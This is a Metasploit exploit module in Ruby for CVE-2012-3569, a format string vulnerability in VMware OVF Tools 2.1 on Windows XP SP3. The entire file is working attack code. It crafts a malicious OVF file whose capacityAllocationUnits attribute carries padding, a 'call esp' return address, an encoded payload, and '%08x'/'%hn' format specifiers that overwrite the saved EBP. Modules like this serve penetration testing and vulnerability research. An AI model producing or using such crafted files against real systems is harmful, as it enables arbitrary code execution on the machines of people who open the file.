##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VMWare OVF Tools Format String Vulnerability',
      'Description'    => %q{
          This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
        Windows. The vulnerability occurs when printing error messages while parsing a
        a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
        2.1 on Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jeremy Brown', # Vulnerability discovery
          'juan vazquez'  # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-3569' ],
          [ 'OSVDB', '87117' ],
          [ 'BID', '56468' ],
          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
        ],
      'Payload'        =>
        {
          'DisableNops'    => true,
          'BadChars'       =>
            (0x00..0x08).to_a.pack("C*") +
            "\x0b\x0c\x0e\x0f" +
            (0x10..0x1f).to_a.pack("C*") +
            (0x80..0xff).to_a.pack("C*") +
            "\x22",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x54\x59", # push esp # pop ecx
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
              'BufferOffset' => 6
            }
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # vmware-ovftool-2.1.0-467744-win-i386.msi
          [ 'VMWare OVF Tools 2.1 on Windows XP SP3',
            {
              'Ret' => 0x7852753d,  # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
              'AddrPops' => 98,
              'StackPadding' => 38081,
              'Alignment' => 4096
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-11-08',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ovf']),
      ])
  end

  def ovf
    my_payload = rand_text_alpha(4) # ebp
    my_payload << [target.ret].pack("V") # eip # call esp
    my_payload << payload.encoded

    fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
    fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
    fs << my_payload
    # 65536 => 0x10000
    # 27    => Error message prefix length
    fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
    fs << "%08x" * target['AddrPops'] # Reach saved EBP
    fs << "%hn" # Overwrite LSW of saved EBP with 0x1000

    ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="https://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <References>
    <File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
  </References>
  <DiskSection>
    <Info>Virtual disk information</Info>
    <Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="https://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
  </DiskSection>
  <VirtualSystem ovf:id="Small VM">
    <Info>A virtual machine</Info>
  </VirtualSystem>
</Envelope>
    EOF
    ovf_file
  end

  def exploit
    print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1")
    file_create(ovf)
  end
end
